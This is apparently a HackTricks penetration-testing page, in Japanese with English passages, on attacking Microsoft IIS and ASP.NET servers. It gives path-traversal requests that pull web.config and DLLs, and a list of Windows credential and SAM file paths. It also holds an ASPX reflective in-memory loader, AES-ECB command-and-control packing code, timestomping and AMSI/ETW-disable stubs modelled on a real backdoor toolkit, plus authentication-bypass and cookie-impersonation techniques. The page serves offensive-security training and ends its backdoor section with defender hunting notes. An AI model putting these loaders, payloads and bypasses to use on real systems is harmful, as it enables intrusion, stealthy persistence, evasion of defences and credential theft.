IIS - Internet Information Services
Reading time: 22 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
テスト実行可能ファイル拡張子:
- asp
- aspx
- config
- php
内部 IP アドレスの開示
IIS サーバーで 302 が返る場合は、Host header を削除して HTTP/1.0 を使用してみてください。レスポンス内の Location header が内部 IP アドレスを指すことがあります:
nc -v domain.com 80
openssl s_client -connect domain.com:443
内部IPを開示するレスポンス:
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
.config ファイルを実行
.config ファイルをアップロードして、コード実行に利用できます。1つの方法は、ファイルの末尾に HTML コメントとしてコードを追記することです: Download example here
詳細およびこの脆弱性を悪用するための手法はこちらを参照してください: here
IIS Discovery Bruteforce
私が作成したリストをダウンロードしてください:
これは以下のリストの内容をマージして作成されています:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
拡張子を追加せずに使用してください。必要なファイルは既に拡張子を含んでいます。
Path Traversal
Leaking source code
フルレポートは次を参照してください: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
tip
要約すると、アプリケーションのフォルダ内に複数の web.config ファイルがあり、そこに "assemblyIdentity" ファイルや "namespaces" への参照があります。これらの情報を使うことで、where are executables located を特定してダウンロードすることが可能です。
ダウンロードした Dlls からは、新たな namespaces を見つけ出し、そこにアクセスして web.config を入手することでさらに新しい namespaces や assemblyIdentity を発見できることがあります。
また、connectionstrings.config や global.asax といったファイルにも有用な情報が含まれている場合があります。
In .Net MVC applications, the web.config file plays a crucial role by specifying each binary file the application relies on through "assemblyIdentity" XML tags.
Exploring Binary Files
An example of accessing the web.config file is shown below:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
このリクエストは、以下のような各種の設定や依存関係を明らかにします。
- EntityFramework のバージョン
- AppSettings(webpages、クライアント検証、JavaScript用)
- System.web の認証およびランタイムに関する設定
- System.webServer のモジュール設定
- Runtime のアセンブリバインディング(例: Microsoft.Owin, Newtonsoft.Json, System.Web.Mvc など多数のライブラリ)
これらの設定から、/bin/WebGrease.dll のような特定のファイルがアプリケーションの /bin フォルダ内に存在することがわかります。
Root Directory Files
ルートディレクトリで見つかる /global.asax や /connectionstrings.config(機密性の高いパスワードを含む)などのファイルは、アプリケーションの設定と動作に不可欠です。
Namespaces and Web.Config
MVC アプリケーションは、各ファイルで繰り返し宣言することを避けるために、特定の名前空間向けの追加の web.config files を定義します。これは別の web.config をダウンロードするリクエストで示されています:
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
DLLのダウンロード
カスタム namespace の言及は /bin directory に存在する "WebApplication1" という名前の DLL を示唆しています。続いて、WebApplication1.dll をダウンロードするリクエストが表示されます:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
これは /bin ディレクトリに System.Web.Mvc.dll や System.Web.Optimization.dll のような他の必須 DLL が存在することを示唆します。
ある DLL が WebApplication1.Areas.Minded という名前空間をインポートしている場合、攻撃者は /area-name/Views/ のような予測可能なパスに別の web.config ファイルが存在し、特定の設定や /bin フォルダ内の他の DLL への参照を含んでいると推測するかもしれません。例えば、/Minded/Views/web.config へのリクエストは設定や名前空間を明らかにし、別の DLL WebApplication1.AdditionalFeatures.dll の存在を示すことがあります。
一般的なファイル
出典: here
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 404 Error
%20(1)%20(2)%20(2)%20(3)%20(3)%20(2)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(10)%20(10)%20(2).png)
これはサーバーが Host header 内で 正しいドメイン名を受け取っていない ことを意味します.
ウェブページにアクセスするには、配信されている SSL Certificate を確認すると、そこにドメイン/サブドメイン名が見つかることがあります。見つからない場合は、正しいものが見つかるまで brute force VHosts を実行する必要があるかもしれません。
Decrypt encrypted configuration and ASP.NET Core Data Protection key rings
IIS-hosted .NET アプリでシークレットを保護する一般的なパターンは次の2つです:
- web.config の
のようなセクションに対して ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) が使われる。 - ローカルに保存された ASP.NET Core Data Protection key ring はアプリケーションのシークレットやクッキーを保護するために使われる。
ウェブサーバー上でファイルシステムまたは対話的なアクセス権を持っている場合、同一サーバーにあるキーにより復号できることが多い。
- ASP.NET (Full Framework) – 保護された構成セクションを aspnet_regiis で復号する:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
- ASP.NET Core – 以下のような場所にローカル保存された Data Protection key rings(XML/JSON ファイル)を探す:
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
With the key ring available, an operator running in the app’s identity can instantiate an IDataProtector with the same purposes and unprotect stored secrets. Misconfigurations that store the key ring with the app files make offline decryption trivial once the host is compromised.
IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)
Phantom Taurus/NET-STAR ツールキットは、w3wp.exe 内だけで完結する fileless IIS persistence と post‑exploitation の成熟したパターンを示している。コアアイデアはカスタムの手口や検出/ハンティングに広く再利用可能だ。
Key building blocks
- ASPX bootstrapper hosting an embedded payload: 単一の .aspx ページ(例: OutlookEN.aspx)が Base64 エンコードされ、オプションで Gzip 圧縮された .NET DLL を保持する。トリガーリクエストでそれをデコード・解凍し、現在の AppDomain にリフレクティブにロードしてメインエントリポイント(例: ServerRun.Run())を呼び出す。
- Cookie‑scoped, encrypted C2 with multi‑stage packing: タスク/結果は Gzip → AES‑ECB/PKCS7 → Base64 でラップされ、正当らしく見えるクッキー多用のリクエスト経由で受け渡される。オペレータはチャンク分割に安定した区切り(例: "STAR")を使用した。
- Reflective .NET execution: 任意の managed アセンブリを Base64 として受け取り、Assembly.Load(byte[]) でロードし、オペレータ引数を渡してディスクに触れずにモジュールを素早く差し替える。
- Operating in precompiled ASP.NET sites: サイトがプリコンパイルされていても補助的なシェル/バックドアを追加・管理できる(例: dropper が動的ページ/ハンドラを追加したり、config ハンドラを利用する)– bypassPrecompiledApp、addshell、listshell、removeshell といったコマンドで露出する。
- Timestomping/metadata forgery: changeLastModified アクションを提供し、デプロイ時に timestomp(将来のコンパイルタイムスタンプを含む)して DFIR を妨げる。
- Optional AMSI/ETW pre‑disable for loaders: セカンドステージローダは Assembly.Load を呼ぶ前に AMSI と ETW を無効化し、インメモリのペイロード検査を減らすことができる。
Minimal ASPX loader pattern
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>
Packing/crypto ヘルパー (Gzip + AES‑ECB + Base64)
using System.Security.Cryptography;
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}
static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}
static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}
Cookie/session のフローとコマンドサーフェス
- Session bootstrap と tasking は cookies を介して伝達され、通常のウェブ活動に溶け込みます。
- 実際の観測で確認されたコマンドには次が含まれる: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; およびインメモリ .NET 実行のための動的実行プリミティブ code_self, code_pid, run_code。
Timestomping ユーティリティ
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);
Assembly.Load の前にインラインで AMSI/ETW を無効化する (loader variant)
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
See AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md
ハンティングノート(防御者向け)
- 長大な Base64/Gzip ブロブを含む単一の奇妙な ASPX ページ;Cookie を多用した POST。
- w3wp.exe 内の登録されていない managed モジュール;Encrypt/Decrypt (ECB)、Compress/Decompress、GetContext、Run のような文字列。
- トラフィック中に "STAR" のような繰り返し区切り文字;ASPX/assemblies における不一致や将来時刻のタイムスタンプ。
Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)
多くの ASP.NET アプリは Telerik UI for ASP.NET AJAX を組み込み、未認証のハンドラ Telerik.Web.UI.WebResource.axd を公開します。Image Editor のキャッシュエンドポイント (type=iec) に到達できる場合、パラメータ dkey=1 と prtype が unsafe reflection を有効にし、認証前に任意の public な引数なしコンストラクタを実行します。これは汎用的な DoS プリミティブを生み、AppDomain.AssemblyResolve ハンドラが不安全なアプリでは認証前 RCE にエスカレートする可能性があります。
See detailed techniques and PoCs here:
Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd
注目すべき古い IIS 脆弱性
Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure
この手法を使うと、発見した各フォルダ内のフォルダやファイルを列挙できます(Basic Authentication を要求する場合でも)。
この手法の主な制約は、サーバが脆弱であっても各ファイル/フォルダ名の最初の最大6文字と、ファイル拡張子の最初の3文字までしか見つけられない点です。
You can use https://github.com/irsdl/IIS-ShortName-Scanner to test for this vulnerability:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
.png)
Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
You can also use metasploit: use scanner/http/iis_shortname_scanner
発見したファイルの最終的な名前を見つける良い方法の一つは、スクリプト https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py のように LLMs に選択肢を生成させることです。
Basic Authentication bypass
Bypass a basic authentication (IIS 7.5) trying to access: /admin:$i30:$INDEX_ALLOCATION/admin.php or /admin::$INDEX_ALLOCATION/admin.php
この脆弱性と前述のものを組み合わせて、新しいフォルダを見つけて認証をバイパスできることがあります。
ASP.NET Trace.AXD enabled debugging
ASP.NET にはデバッグモードがあり、そのファイルは trace.axd と呼ばれます。
これはある期間にアプリに対して行われたすべてのリクエストの非常に詳細なログを保持します。
この情報にはリモートクライアントの IP、セッション ID、全てのリクエスト/レスポンスの Cookie、物理パス、ソースコード情報、さらにはユーザ名やパスワードまで含まれる可能性があります。
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

ASPXAUTH Cookie
ASPXAUTH は以下の情報を使用します:
validationKey(string): 署名検証に使う hex エンコードされたキー。decryptionMethod(string): (デフォルト “AES”)。decryptionIV(string): hex エンコードされた初期化ベクトル(デフォルトはゼロベクトル)。decryptionKey(string): 復号に使う hex エンコードされたキー。
ただし、これらのパラメータに対して デフォルト値 を使い、Cookie としてユーザのメールアドレス を用いる場合があります。したがって、ASPXAUTH cookie を使っている同一プラットフォームの別のウェブを見つけ、攻撃対象サーバ上で(なりすましたい)ユーザのメールアドレスでアカウントを作成できれば、二つ目のサーバの cookie を一つ目で使ってユーザをなりすますことができる場合があります。
この攻撃はこの writeup で動作しました: https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19
IIS Authentication Bypass with cached passwords (CVE-2022-30209)
Full report here: コードのバグにより ユーザが与えたパスワードを正しく検証していなかった ため、攻撃者の パスワードハッシュが既にキャッシュに存在するキーに衝突すると そのユーザとしてログインできてしまいます。
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
参考資料
- Unit 42 – Phantom Taurus: 新たな中国 Nexus APT と NET-STAR Malware Suite の発見
- AMSI/ETW bypass の背景 (HackTricks)
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks